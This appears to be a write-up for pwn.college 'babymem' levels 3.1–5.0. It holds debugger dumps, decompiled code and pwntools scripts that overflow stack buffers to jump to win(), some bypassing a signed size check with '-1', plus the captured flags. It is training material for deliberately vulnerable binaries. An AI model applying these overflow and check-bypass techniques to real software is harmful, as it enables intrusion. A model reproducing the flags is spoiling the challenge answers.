   0x0000000000401b16 <+4>: push   rbp
   0x0000000000401b17 <+5>: mov    rbp,rsp
   0x0000000000401b1a <+8>: sub    rsp,0xb0
   0x0000000000401b21 <+15>: mov    DWORD PTR [rbp-0x94],edi
   0x0000000000401b27 <+21>: mov    QWORD PTR [rbp-0xa0],rsi
   0x0000000000401b2e <+28>: mov    QWORD PTR [rbp-0xa8],rdx
   0x0000000000401b35 <+35>: mov    QWORD PTR [rbp-0x80],0x0
   0x0000000000401b3d <+43>: mov    QWORD PTR [rbp-0x78],0x0
   0x0000000000401b45 <+51>: mov    QWORD PTR [rbp-0x70],0x0
   0x0000000000401b4d <+59>: mov    QWORD PTR [rbp-0x68],0x0
   0x0000000000401b55 <+67>: mov    QWORD PTR [rbp-0x60],0x0
   0x0000000000401b5d <+75>: mov    QWORD PTR [rbp-0x58],0x0
   0x0000000000401b65 <+83>: mov    QWORD PTR [rbp-0x50],0x0
   0x0000000000401b6d <+91>: mov    QWORD PTR [rbp-0x48],0x0
   0x0000000000401b75 <+99>: mov    QWORD PTR [rbp-0x40],0x0
   0x0000000000401b7d <+107>: mov    QWORD PTR [rbp-0x38],0x0
   0x0000000000401b85 <+115>: mov    QWORD PTR [rbp-0x30],0x0
   0x0000000000401b8d <+123>: mov    QWORD PTR [rbp-0x28],0x0
   0x0000000000401b95 <+131>: mov    QWORD PTR [rbp-0x20],0x0
   0x0000000000401b9d <+139>: mov    DWORD PTR [rbp-0x18],0x0
   0x0000000000401ba4 <+146>: mov    WORD PTR [rbp-0x14],0x0
   0x0000000000401baa <+152>: lea    rax,[rbp-0x80]
   0x0000000000401bae <+156>: mov    QWORD PTR [rbp-0x8],rax
   0x0000000000401bb2 <+160>: mov    QWORD PTR [rbp-0x88],0x0
   0x0000000000401bbd <+171>: lea    rdi,[rip+0x548]        # 0x40210c
   0x0000000000401bc4 <+178>: mov    eax,0x0
   0x0000000000401bc9 <+183>: call   0x401130 <printf@plt>
   0x0000000000401bce <+188>: lea    rax,[rbp-0x88]
   0x0000000000401bd5 <+195>: mov    rsi,rax
   0x0000000000401bd8 <+198>: lea    rdi,[rip+0x53c]        # 0x40211b
   0x0000000000401bdf <+205>: mov    eax,0x0
   0x0000000000401be4 <+210>: call   0x401180 <__isoc99_scanf@plt>
   0x0000000000401be9 <+215>: mov    rax,QWORD PTR [rbp-0x88]
   0x0000000000401bf0 <+222>: mov    rsi,rax
   0x0000000000401bf3 <+225>: lea    rdi,[rip+0x526]        # 0x402120
   0x0000000000401bfa <+232>: mov    eax,0x0
   0x0000000000401bff <+237>: call   0x401130 <printf@plt>
   0x0000000000401c04 <+242>: mov    rdx,QWORD PTR [rbp-0x88]
   0x0000000000401c0b <+249>: mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000401c0f <+253>: mov    rsi,rax
   0x0000000000401c12 <+256>: mov    edi,0x0
   0x0000000000401c17 <+261>: call   0x401150 <read@plt>
   0x0000000000401c1c <+266>: mov    DWORD PTR [rbp-0xc],eax
   0x0000000000401c1f <+269>: cmp    DWORD PTR [rbp-0xc],0x0
   0x0000000000401c23 <+273>: jns    0x401c51 <challenge+319>
   0x0000000000401c25 <+275>: call   0x401100 <__errno_location@plt>
   0x0000000000401c2a <+280>: mov    eax,DWORD PTR [rax]
   0x0000000000401c2c <+282>: mov    edi,eax
   0x0000000000401c2e <+284>: call   0x4011a0 <strerror@plt>
   0x0000000000401c33 <+289>: mov    rsi,rax
   0x0000000000401c36 <+292>: lea    rdi,[rip+0x50b]        # 0x402148
   0x0000000000401c3d <+299>: mov    eax,0x0
   0x0000000000401c42 <+304>: call   0x401130 <printf@plt>
   0x0000000000401c47 <+309>: mov    edi,0x1
   0x0000000000401c4c <+314>: call   0x401190 <exit@plt>
   0x0000000000401c51 <+319>: lea    rdi,[rip+0x514]        # 0x40216c
   0x0000000000401c58 <+326>: call   0x401110 <puts@plt>
   0x0000000000401c5d <+331>: mov    eax,0x0
   0x0000000000401c62 <+336>: leave
   0x0000000000401c63 <+337>: ret
End of assembler dump.
pwndbg> b *challenge+261
Breakpoint 1 at 0x401c17
pwndbg> r
Starting program: /home/cub3y0nd/Projects/pwn.college/babymem-level-3-1
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
###
### Welcome to /home/cub3y0nd/Projects/pwn.college/babymem-level-3-1!
###

Payload size: 1771
Send your payload (up to 1771 bytes)!

Breakpoint 1, 0x0000000000401c17 in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-fl
ags off / show-compact-regs off ]───────────────────────────────────────────────
────────────
 RAX  0x7fffffffd130 <- 0
 RBX  0x7fffffffe308 -> 0x7fffffffe6bb <- '/home/cub3y0nd/Projects/pwn.college/b
abymem-level-3-1'
 RCX  0
 RDX  0x6eb
 RDI  0
 RSI  0x7fffffffd130 <- 0
 R8   0x75
 R9   0xfffffffc
 R10  0
 R11  0x202
 R12  1
 R13  0
 R14  0x7ffff7ffd000 (_rtld_global) -> 0x7ffff7ffe2e0 <- 0
 R15  0
 RBP  0x7fffffffd1b0 -> 0x7fffffffe1e0 -> 0x7fffffffe280 -> 0x7fffffffe2e0 <- 0
 RSP  0x7fffffffd100 <- 0xa /* 'n' */
 RIP  0x401c17 (challenge+261) <- call 0x401150
────────────────────────────────────────────────────────────────────[ DISASM / x
86-64 / set emulate on ]────────────────────────────────────────────────────────
────────────
 -> 0x401c17 <challenge+261>    call   read@plt                    <read@plt>
        fd: 0 (/dev/pts/2)
        buf: 0x7fffffffd130 <- 0
        nbytes: 0x6eb

   0x401c1c <challenge+266>    mov    dword ptr [rbp - 0xc], eax
   0x401c1f <challenge+269>    cmp    dword ptr [rbp - 0xc], 0
   0x401c23 <challenge+273>    jns    challenge+319               <challenge+319
>

   0x401c25 <challenge+275>    call   __errno_location@plt        <__errno_locat
ion@plt>

   0x401c2a <challenge+280>    mov    eax, dword ptr [rax]
   0x401c2c <challenge+282>    mov    edi, eax
   0x401c2e <challenge+284>    call   strerror@plt                <strerror@plt>

   0x401c33 <challenge+289>    mov    rsi, rax
   0x401c36 <challenge+292>    lea    rdi, [rip + 0x50b]     RDI => 0x402148 <- 
'ERROR: Failed to read input -- %s!n'
   0x401c3d <challenge+299>    mov    eax, 0                 EAX => 0
────────────────────────────────────────────────────────────────────────────────
─[ STACK ]──────────────────────────────────────────────────────────────────────
────────────
00:0000│ rsp     0x7fffffffd100 <- 0xa /* 'n' */
01:0008│-0a8     0x7fffffffd108 -> 0x7fffffffe318 -> 0x7fffffffe6f1 <- 'SHELL=/u
sr/bin/zsh'
02:0010│-0a0     0x7fffffffd110 -> 0x7fffffffe308 -> 0x7fffffffe6bb <- '/home/cu
b3y0nd/Projects/pwn.college/babymem-level-3-1'
03:0018│-098     0x7fffffffd118 <- 0x100000000
04:0020│-090     0x7fffffffd120 -> 0x7fffffffd140 <- 0
05:0028│-088     0x7fffffffd128 <- 0x6eb
06:0030│ rax rsi 0x7fffffffd130 <- 0
07:0038│-078     0x7fffffffd138 <- 0
───────────────────────────────────────────────────────────────────────────────[
 BACKTRACE ]────────────────────────────────────────────────────────────────────
────────────
 -> 0         0x401c17 challenge+261
   1         0x401d2a main+198
   2   0x7ffff7dcae08
   3   0x7ffff7dcaecc __libc_start_main+140
   4         0x4011de _start+46
────────────────────────────────────────────────────────────────────────────────
────────────────────────────────────────────────────────────────────────────────
────────────
pwndbg> i frame
Stack level 0, frame at 0x7fffffffd1c0:
 rip = 0x401c17 in challenge; saved rip = 0x401d2a
 called by frame at 0x7fffffffe1f0
 Arglist at 0x7fffffffd1b0, args:
 Locals at 0x7fffffffd1b0, Previous frame's sp is 0x7fffffffd1c0
 Saved registers:
  rbp at 0x7fffffffd1b0, rip at 0x7fffffffd1b8
pwndbg> distance 0x7fffffffd130 0x7fffffffd1b8
0x7fffffffd130->0x7fffffffd1b8 is 0x88 bytes (0x11 words)
```

 `win` 

## Exploit

```python
#!/usr/bin/python3

from pwn import context, ELF, process, remote, gdb, p64

context(log_level="debug", terminal="kitty")

FILE = "./babymem-level-3-1"
HOST = "pwn.college"
PORT = 1337

gdbscript = """
c
"""


def launch(local=True, debug=False):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug([elf.path], gdbscript=gdbscript)
        else:
            return process([elf.path])
    else:
        return remote(HOST, PORT)


target = launch()

payload = b"".ljust(0x88, b"A") + p64(0x401A0B)
payload_size = str(len(payload)).encode()

target.recvuntil(b"Payload size: ")
target.sendline(payload_size)
target.recvuntil(b"Send your payload")
target.send(payload)

target.recvall()
```

## Flag

Flag: `pwn.college{k2xNTDjO8L-Rt_oy5sU-i2dFj1y.0FN5IDL5cTNxgzW}`

# Level 4.0

## Information

- Category: Pwn

## Description

> Overflow a buffer and smash the stack to obtain the flag, but this time bypass
 a check designed to prevent you from doing so!

## Write-up

```c {7, 55} ins={60-64} del={85} collapse={1-3, 11-51, 68-81, 89-108}
__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
  int *v3; // rax
  char *v4; // rax
  _QWORD v6[3]; // [rsp+0h] [rbp-B0h] BYREF
  int v7; // [rsp+1Ch] [rbp-94h]
  size_t nbytes[15]; // [rsp+2Ch] [rbp-84h] BYREF
  int v9; // [rsp+A4h] [rbp-Ch]
  void *buf; // [rsp+A8h] [rbp-8h]
  __int64 savedregs; // [rsp+B0h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+B8h] [rbp+8h] BYREF

  v7 = a1;
  v6[2] = a2;
  v6[1] = a3;
  buf = (char *)nbytes + 4;
  memset(nbytes, 0, 110);
  puts("The challenge() function has just been launched!");
  sp_ = (__int64)v6;
  bp_ = (__int64)&savedregs;
  sz_ = ((unsigned __int64)((char *)&savedregs - (char *)v6) >> 3) + 2;
  rp_ = (__int64)&retaddr;
  puts("Before we do anything, let's take a look at challenge()'s stack frame:")
;
  DUMP_STACK(sp_, sz_);
  printf("Our stack pointer points to %p, and our base pointer points to %p.n", 
(const void *)sp_, (const void *)bp_);
  printf("This means that we have (decimal) %d 8-byte words in our stack frame,n
", sz_);
  puts("including the saved base pointer and the saved return address, for a");
  printf("total of %d bytes.n", 8 * sz_);
  printf("The input buffer begins at %p, partway through the stack frame,n", buf
);
  puts("("above" it in the stack are other local variables used by the function)
.");
  puts("Your input will be read into this buffer.");
  printf("The buffer is %d bytes long, but the program will let you provide an a
rbitrarilyn", 106);
  puts("large input length, and thus overflow the buffer.n");
  puts("In this level, there is no "win" variable.");
  puts("You will need to force the program to execute the win() function");
  puts("by directly overflowing into the stored return address back to main,");
  printf(
    "which is stored at %p, %d bytes after the start of your input buffer.n",
    (const void *)rp_,
    rp_ - (_DWORD)buf);
  printf(
    "That means that you will need to input at least %d bytes (%d to fill the bu
ffer,n",
    rp_ - (_DWORD)buf + 8,
    106);
  printf("%d to fill other stuff stored between the buffer and the return addres
s,n", rp_ - (_DWORD)buf - 106);
  puts("and 8 that will overwrite the return address).n");
  puts("We have disabled the following standard memory corruption mitigations fo
r this challenge:");
  puts("- the canary is disabled, otherwise you would corrupt it before");
  puts("overwriting the return address, and the program would abort.");
  puts("- the binary is *not* position independent. This means that it will be")
;
  puts("located at the same spot every time it is run, which means that by");
  puts("analyzing the binary (using objdump or reading this output), you can");
  puts("know the exact value that you need to overwrite the return address with.
n");
  printf("Payload size: ");
  __isoc99_scanf("%i", nbytes);
  puts("This challenge is more careful: it will check to make sure you");
  puts("don't want to provide so much data that the input buffer will");
  puts("overflow. But recall twos compliment, look at how the check is");
  puts("implemented, and try to beat it!");
  if ( SLODWORD(nbytes[0]) > 106 )
  {
    puts("Provided size is too large!");
    exit(1);
  }
  puts("You made it past the check! Because the read() call will interpret");
  puts("your size differently than the check above, the resulting read will");
  puts("be unstable and might fail. You will likely have to try this several");
  puts("times before your input is actually read.");
  printf("You have chosen to send %i bytes of input!n", LODWORD(nbytes[0]));
  printf("This will allow you to write from %p (the start of the input buffer)n"
, buf);
  printf(
    "right up to (but not including) %p (which is %d bytes beyond the end of the
 buffer).n",
    (char *)buf + SLODWORD(nbytes[0]),
    LODWORD(nbytes[0]) - 106);
  printf("Of these, you will overwrite %d bytes into the return address.n", (_DW
ORD)buf + LODWORD(nbytes[0]) - rp_);
  puts("If that number is greater than 8, you will overwrite the entire return a
ddress.n");
  puts("You will want to overwrite the return value from challenge()");
  printf("(located at %p, %d bytes past the start of the input buffer)n", (const
 void *)rp_, rp_ - (_DWORD)buf);
  printf("with %p, which is the address of the win() function.n", win);
  puts("This will cause challenge() to return directly into the win() function,"
);
  puts("which will in turn give you the flag.");
  puts("Keep in mind that you will need to write the address of the win() functi
on");
  puts("in little-endian (bytes backwards) so that it is interpreted properly.n"
);
  printf("Send your payload (up to %i bytes)!n", LODWORD(nbytes[0]));
  v9 = read(0, buf, LODWORD(nbytes[0]));
  if ( v9 < 0 )
  {
    v3 = __errno_location();
    v4 = strerror(*v3);
    printf("ERROR: Failed to read input -- %s!n", v4);
    exit(1);
  }
  printf("You sent %d bytes!n", v9);
  puts("Let's see what happened with the stack:n");
  DUMP_STACK(sp_, sz_);
  puts("The program's memory status:");
  printf("- the input buffer starts at %pn", buf);
  printf("- the saved frame pointer (of main) is at %pn", (const void *)bp_);
  printf("- the saved return address (previously to main) is at %pn", (const voi
d *)rp_);
  printf("- the saved return address is now pointing to %p.n", *(const void **)r
p_);
  printf("- the address of win() is %p.n", win);
  putchar(10);
  puts("If you have managed to overwrite the return address with the correct val
ue,");
  puts("challenge() will jump straight to win() when it returns.");
  printf("Let's try it now!nn");
  puts("Goodbye!");
  return 0LL;
}
```

```c
// ...

if ( SLODWORD(nbytes[0]) > 106 )
{
  puts("Provided size is too large!");
  exit(1);
}
```

`SLODWORD(nbytes[0]) > 106` 退 payload  144 bytes
 payload  payload size  144

 `nbytes`  `size_t`

```c del="size_t"
// ...

size_t nbytes[15]; // [rsp+2Ch] [rbp-84h] BYREF
```

 `size_t` 


`-1`  `0xffffffff`


使 `SLODWORD`  `DWORD`

 `-1`  `SLODWORD(nbytes[0]) > 106`  
`0xffffffff`  `106`  `if` 

 `nbytes` 


 `read` 


```c del="LODWORD(nbytes[0])"
// ...

v9 = read(0, buf, LODWORD(nbytes[0]));
```

## Exploit

```python
#!/usr/bin/python3

from pwn import context, ELF, process, remote, gdb, p64

context(log_level="debug", terminal="kitty")

FILE = "./babymem-level-4-0"
HOST = "pwn.college"
PORT = 1337

gdbscript = """
c
"""


def launch(local=True, debug=False):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug([elf.path], gdbscript=gdbscript)
        else:
            return process([elf.path])
    else:
        return remote(HOST, PORT)


target = launch()

payload = b"".ljust(0x88, b"A") + p64(0x4020F3)

target.recvuntil(b"Payload size: ")
target.sendline(b"-1")
target.recvuntil(b"Send your payload")
target.send(payload)

target.recvall()
```

## Flag

Flag: `pwn.college{YWYtWHsecMbA0xSnI1_Yfj-kjlB.0VN5IDL5cTNxgzW}`

# Level 4.1

## Information

- Category: Pwn

## Description

> Overflow a buffer and smash the stack to obtain the flag, but this time bypass
 a check designed to prevent you from doing so!

## Write-up

```c ins={13-17} del={19} collapse={1-9, 23-29}
__int64 challenge()
{
  int *v0; // rax
  char *v1; // rax
  size_t nbytes[7]; // [rsp+2Ch] [rbp-44h] BYREF
  int v4; // [rsp+64h] [rbp-Ch]
  void *buf; // [rsp+68h] [rbp-8h]

  buf = (char *)nbytes + 4;
  memset(nbytes, 0, 50);
  printf("Payload size: ");
  __isoc99_scanf("%i", nbytes);
  if ( SLODWORD(nbytes[0]) > 46 )
  {
    puts("Provided size is too large!");
    exit(1);
  }
  printf("Send your payload (up to %i bytes)!n", LODWORD(nbytes[0]));
  v4 = read(0, buf, LODWORD(nbytes[0]));
  if ( v4 < 0 )
  {
    v0 = __errno_location();
    v1 = strerror(*v0);
    printf("ERROR: Failed to read input -- %s!n", v1);
    exit(1);
  }
  puts("Goodbye!");
  return 0LL;
}
```

 payload 


```asm wrap=false showLineNumbers=false ins="0x0000000000401704" collapse={2-21,
 29-30, 36-90, 109-128, 133-162}
pwndbg> i fun
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x00000000004010f0  putchar@plt
0x0000000000401100  __errno_location@plt
0x0000000000401110  puts@plt
0x0000000000401120  write@plt
0x0000000000401130  printf@plt
0x0000000000401140  geteuid@plt
0x0000000000401150  read@plt
0x0000000000401160  setvbuf@plt
0x0000000000401170  open@plt
0x0000000000401180  __isoc99_scanf@plt
0x0000000000401190  exit@plt
0x00000000004011a0  strerror@plt
0x00000000004011b0  _start
0x00000000004011e0  _dl_relocate_static_pie
0x00000000004011f0  deregister_tm_clones
0x0000000000401220  register_tm_clones
0x0000000000401260  __do_global_dtors_aux
0x0000000000401290  frame_dummy
0x0000000000401296  bin_padding
0x0000000000401704  win
0x000000000040180b  challenge
0x0000000000401921  main
0x0000000000401a00  __libc_csu_init
0x0000000000401a70  __libc_csu_fini
0x0000000000401a78  _fini
pwndbg> disass challenge
Dump of assembler code for function challenge:
   0x000000000040180b <+0>: endbr64
   0x000000000040180f <+4>: push   rbp
   0x0000000000401810 <+5>: mov    rbp,rsp
   0x0000000000401813 <+8>: sub    rsp,0x70
   0x0000000000401817 <+12>: mov    DWORD PTR [rbp-0x54],edi
   0x000000000040181a <+15>: mov    QWORD PTR [rbp-0x60],rsi
   0x000000000040181e <+19>: mov    QWORD PTR [rbp-0x68],rdx
   0x0000000000401822 <+23>: mov    QWORD PTR [rbp-0x40],0x0
   0x000000000040182a <+31>: mov    QWORD PTR [rbp-0x38],0x0
   0x0000000000401832 <+39>: mov    QWORD PTR [rbp-0x30],0x0
   0x000000000040183a <+47>: mov    QWORD PTR [rbp-0x28],0x0
   0x0000000000401842 <+55>: mov    QWORD PTR [rbp-0x20],0x0
   0x000000000040184a <+63>: mov    DWORD PTR [rbp-0x18],0x0
   0x0000000000401851 <+70>: mov    WORD PTR [rbp-0x14],0x0
   0x0000000000401857 <+76>: lea    rax,[rbp-0x40]
   0x000000000040185b <+80>: mov    QWORD PTR [rbp-0x8],rax
   0x000000000040185f <+84>: mov    DWORD PTR [rbp-0x44],0x0
   0x0000000000401866 <+91>: lea    rdi,[rip+0x89f]        # 0x40210c
   0x000000000040186d <+98>: mov    eax,0x0
   0x0000000000401872 <+103>: call   0x401130 <printf@plt>
   0x0000000000401877 <+108>: lea    rax,[rbp-0x44]
   0x000000000040187b <+112>: mov    rsi,rax
   0x000000000040187e <+115>: lea    rdi,[rip+0x896]        # 0x40211b
   0x0000000000401885 <+122>: mov    eax,0x0
   0x000000000040188a <+127>: call   0x401180 <__isoc99_scanf@plt>
   0x000000000040188f <+132>: mov    eax,DWORD PTR [rbp-0x44]
   0x0000000000401892 <+135>: cmp    eax,0x2e
   0x0000000000401895 <+138>: jle    0x4018ad <challenge+162>
   0x0000000000401897 <+140>: lea    rdi,[rip+0x880]        # 0x40211e
   0x000000000040189e <+147>: call   0x401110 <puts@plt>
   0x00000000004018a3 <+152>: mov    edi,0x1
   0x00000000004018a8 <+157>: call   0x401190 <exit@plt>
   0x00000000004018ad <+162>: mov    eax,DWORD PTR [rbp-0x44]
   0x00000000004018b0 <+165>: mov    esi,eax
   0x00000000004018b2 <+167>: lea    rdi,[rip+0x887]        # 0x402140
   0x00000000004018b9 <+174>: mov    eax,0x0
   0x00000000004018be <+179>: call   0x401130 <printf@plt>
   0x00000000004018c3 <+184>: mov    eax,DWORD PTR [rbp-0x44]
   0x00000000004018c6 <+187>: mov    edx,eax
   0x00000000004018c8 <+189>: mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004018cc <+193>: mov    rsi,rax
   0x00000000004018cf <+196>: mov    edi,0x0
   0x00000000004018d4 <+201>: call   0x401150 <read@plt>
   0x00000000004018d9 <+206>: mov    DWORD PTR [rbp-0xc],eax
   0x00000000004018dc <+209>: cmp    DWORD PTR [rbp-0xc],0x0
   0x00000000004018e0 <+213>: jns    0x40190e <challenge+259>
   0x00000000004018e2 <+215>: call   0x401100 <__errno_location@plt>
   0x00000000004018e7 <+220>: mov    eax,DWORD PTR [rax]
   0x00000000004018e9 <+222>: mov    edi,eax
   0x00000000004018eb <+224>: call   0x4011a0 <strerror@plt>
   0x00000000004018f0 <+229>: mov    rsi,rax
   0x00000000004018f3 <+232>: lea    rdi,[rip+0x86e]        # 0x402168
   0x00000000004018fa <+239>: mov    eax,0x0
   0x00000000004018ff <+244>: call   0x401130 <printf@plt>
   0x0000000000401904 <+249>: mov    edi,0x1
   0x0000000000401909 <+254>: call   0x401190 <exit@plt>
   0x000000000040190e <+259>: lea    rdi,[rip+0x877]        # 0x40218c
   0x0000000000401915 <+266>: call   0x401110 <puts@plt>
   0x000000000040191a <+271>: mov    eax,0x0
   0x000000000040191f <+276>: leave
   0x0000000000401920 <+277>: ret
End of assembler dump.
pwndbg> b *challenge+201
Breakpoint 1 at 0x4018d4
pwndbg> r
Starting program: /home/cub3y0nd/Projects/pwn.college/babymem-level-4-1
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
###
### Welcome to /home/cub3y0nd/Projects/pwn.college/babymem-level-4-1!
###

Payload size: 16
Send your payload (up to 16 bytes)!

Breakpoint 1, 0x00000000004018d4 in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────
─────
 RAX  0x7fffffffd170 <- 0
 RBX  0x7fffffffe308 -> 0x7fffffffe6bb <- '/home/cub3y0nd/Projects/pwn.college/b
abymem-level-4-1'
 RCX  0
 RDX  0x10
 RDI  0
 RSI  0x7fffffffd170 <- 0
 R8   0x69
 R9   0xfffffffe
 R10  0
 R11  0x202
 R12  1
 R13  0
 R14  0x7ffff7ffd000 (_rtld_global) -> 0x7ffff7ffe2e0 <- 0
 R15  0
 RBP  0x7fffffffd1b0 -> 0x7fffffffe1e0 -> 0x7fffffffe280 -> 0x7fffffffe2e0 <- 0
 RSP  0x7fffffffd140 -> 0x7fffffffd170 <- 0
 RIP  0x4018d4 (challenge+201) <- call 0x401150
────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────
─────
 -> 0x4018d4 <challenge+201>    call   read@plt                    <read@plt>
        fd: 0 (/dev/pts/2)
        buf: 0x7fffffffd170 <- 0
        nbytes: 0x10

   0x4018d9 <challenge+206>    mov    dword ptr [rbp - 0xc], eax
   0x4018dc <challenge+209>    cmp    dword ptr [rbp - 0xc], 0
   0x4018e0 <challenge+213>    jns    challenge+259               <challenge+259
>

   0x4018e2 <challenge+215>    call   __errno_location@plt        <__errno_locat
ion@plt>

   0x4018e7 <challenge+220>    mov    eax, dword ptr [rax]
   0x4018e9 <challenge+222>    mov    edi, eax
   0x4018eb <challenge+224>    call   strerror@plt                <strerror@plt>

   0x4018f0 <challenge+229>    mov    rsi, rax
   0x4018f3 <challenge+232>    lea    rdi, [rip + 0x86e]     RDI => 0x402168 <- 
'ERROR: Failed to read input -- %s!n'
   0x4018fa <challenge+239>    mov    eax, 0                 EAX => 0
──────────────────────────────────────[ STACK ]─────────────────────────────────
─────
00:0000│ rsp     0x7fffffffd140 -> 0x7fffffffd170 <- 0
01:0008│-068     0x7fffffffd148 -> 0x7fffffffe318 -> 0x7fffffffe6f1 <- 'SHELL=/u
sr/bin/zsh'
02:0010│-060     0x7fffffffd150 -> 0x7fffffffe308 -> 0x7fffffffe6bb <- '/home/cu
b3y0nd/Projects/pwn.college/babymem-level-4-1'
03:0018│-058     0x7fffffffd158 <- 0x10000000a /* 'n' */
04:0020│-050     0x7fffffffd160 -> 0x7ffff7f8d5c0 (_IO_2_1_stdout_) <- 0xfbad288
7
05:0028│-048     0x7fffffffd168 <- 0x1000404020 /* ' @@' */
06:0030│ rax rsi 0x7fffffffd170 <- 0
07:0038│-038     0x7fffffffd178 <- 0
────────────────────────────────────[ BACKTRACE ]───────────────────────────────
─────
 -> 0         0x4018d4 challenge+201
   1         0x4019e7 main+198
   2   0x7ffff7dcae08
   3   0x7ffff7dcaecc __libc_start_main+140
   4         0x4011de _start+46
────────────────────────────────────────────────────────────────────────────────
─────
pwndbg> i frame
Stack level 0, frame at 0x7fffffffd1c0:
 rip = 0x4018d4 in challenge; saved rip = 0x4019e7
 called by frame at 0x7fffffffe1f0
 Arglist at 0x7fffffffd1b0, args:
 Locals at 0x7fffffffd1b0, Previous frame's sp is 0x7fffffffd1c0
 Saved registers:
  rbp at 0x7fffffffd1b0, rip at 0x7fffffffd1b8
pwndbg> distance 0x7fffffffd170 0x7fffffffd1b8
0x7fffffffd170->0x7fffffffd1b8 is 0x48 bytes (0x9 words)
```

## Exploit

```python
#!/usr/bin/python3

from pwn import context, ELF, process, remote, gdb, p64

context(log_level="debug", terminal="kitty")

FILE = "./babymem-level-4-1"
HOST = "pwn.college"
PORT = 1337

gdbscript = """
c
"""


def launch(local=True, debug=False):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug([elf.path], gdbscript=gdbscript)
        else:
            return process([elf.path])
    else:
        return remote(HOST, PORT)


target = launch()

payload = b"".ljust(0x48, b"A") + p64(0x401704)

target.recvuntil(b"Payload size: ")
target.sendline(b"-1")
target.recvuntil(b"Send your payload")
target.send(payload)

target.recvall()
```

## Flag

Flag: `pwn.college{M-FCJzqtx7cmDX7yqpyi7jADAMM.0lN5IDL5cTNxgzW}`

# Level 5.0

## Information

- Category: Pwn

## Description

> Overflow a buffer and smash the stack to obtain the flag, but this time bypass
 another check designed to prevent you from doing so!

## Write-up

```c {64, 68} ins={65-66, 69-70, 71-72} del={73, 91} collapse={1-60, 77-87, 95-1
14}
__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
  int *v3; // rax
  char *v4; // rax
  _QWORD v6[3]; // [rsp+0h] [rbp-B0h] BYREF
  int v7; // [rsp+1Ch] [rbp-94h]
  unsigned int v8; // [rsp+28h] [rbp-88h] BYREF
  unsigned int v9; // [rsp+2Ch] [rbp-84h] BYREF
  _QWORD v10[12]; // [rsp+30h] [rbp-80h] BYREF
  __int16 v11; // [rsp+90h] [rbp-20h]
  int v12; // [rsp+9Ch] [rbp-14h]
  size_t nbytes; // [rsp+A0h] [rbp-10h]
  void *buf; // [rsp+A8h] [rbp-8h]
  __int64 savedregs; // [rsp+B0h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+B8h] [rbp+8h] BYREF

  v7 = a1;
  v6[2] = a2;
  v6[1] = a3;
  memset(v10, 0, sizeof(v10));
  v11 = 0;
  buf = v10;
  nbytes = 0LL;
  puts("The challenge() function has just been launched!");
  sp_ = (__int64)v6;
  bp_ = (__int64)&savedregs;
  sz_ = ((unsigned __int64)((char *)&savedregs - (char *)v6) >> 3) + 2;
  rp_ = (__int64)&retaddr;
  puts("Before we do anything, let's take a look at challenge()'s stack frame:")
;
  DUMP_STACK(sp_, sz_);
  printf("Our stack pointer points to %p, and our base pointer points to %p.n", 
(const void *)sp_, (const void *)bp_);
  printf("This means that we have (decimal) %d 8-byte words in our stack frame,n
", sz_);
  puts("including the saved base pointer and the saved return address, for a");
  printf("total of %d bytes.n", 8 * sz_);
  printf("The input buffer begins at %p, partway through the stack frame,n", buf
);
  puts("("above" it in the stack are other local variables used by the function)
.");
  puts("Your input will be read into this buffer.");
  printf("The buffer is %d bytes long, but the program will let you provide an a
rbitrarilyn", 98);
  puts("large input length, and thus overflow the buffer.n");
  puts("In this level, there is no "win" variable.");
  puts("You will need to force the program to execute the win() function");
  puts("by directly overflowing into the stored return address back to main,");
  printf(
    "which is stored at %p, %d bytes after the start of your input buffer.n",
    (const void *)rp_,
    rp_ - (_DWORD)buf);
  printf(
    "That means that you will need to input at least %d bytes (%d to fill the bu
ffer,n",
    rp_ - (_DWORD)buf + 8,
    98);
  printf("%d to fill other stuff stored between the buffer and the return addres
s,n", rp_ - (_DWORD)buf - 98);
  puts("and 8 that will overwrite the return address).n");
  puts("We have disabled the following standard memory corruption mitigations fo
r this challenge:");
  puts("- the canary is disabled, otherwise you would corrupt it before");
  puts("overwriting the return address, and the program would abort.");
  puts("- the binary is *not* position independent. This means that it will be")
;
  puts("located at the same spot every time it is run, which means that by");
  puts("analyzing the binary (using objdump or reading this output), you can");
  puts("know the exact value that you need to overwrite the return address with.
n");
  puts("This challenge will let you send multiple payload records concatenated t
ogether.");
  puts("It will make sure that the total payload size fits in the allocated buff
er");
  puts("on the stack. Can you send a carefully crafted input to break this calcu
lation?");
  printf("Number of payload records to send: ");
  __isoc99_scanf("%u", &v9);
  if ( !v9 )
    __assert_fail("record_num > 0", "/challenge/babymem-level-5-0.c", 0x8Fu, "ch
allenge");
  printf("Size of each payload record: ");
  __isoc99_scanf("%u", &v8);
  if ( !v8 )
    __assert_fail("record_size > 0", "/challenge/babymem-level-5-0.c", 0x92u, "c
hallenge");
  if ( v8 * v9 > 0x62 )
    __assert_fail("record_size * record_num <= 98", "/challenge/babymem-level-5-
0.c", 0x93u, "challenge");
  nbytes = v8 * (unsigned __int64)v9;
  printf("Computed total payload size: %lun", nbytes);
  printf("You have chosen to send %lu bytes of input!n", nbytes);
  printf("This will allow you to write from %p (the start of the input buffer)n"
, buf);
  printf(
    "right up to (but not including) %p (which is %d bytes beyond the end of the
 buffer).n",
    (char *)buf + nbytes,
    nbytes - 98);
  printf("Of these, you will overwrite %d bytes into the return address.n", nbyt
es + (_DWORD)buf - rp_);
  puts("If that number is greater than 8, you will overwrite the entire return a
ddress.n");
  puts("You will want to overwrite the return value from challenge()");
  printf("(located at %p, %d bytes past the start of the input buffer)n", (const
 void *)rp_, rp_ - (_DWORD)buf);
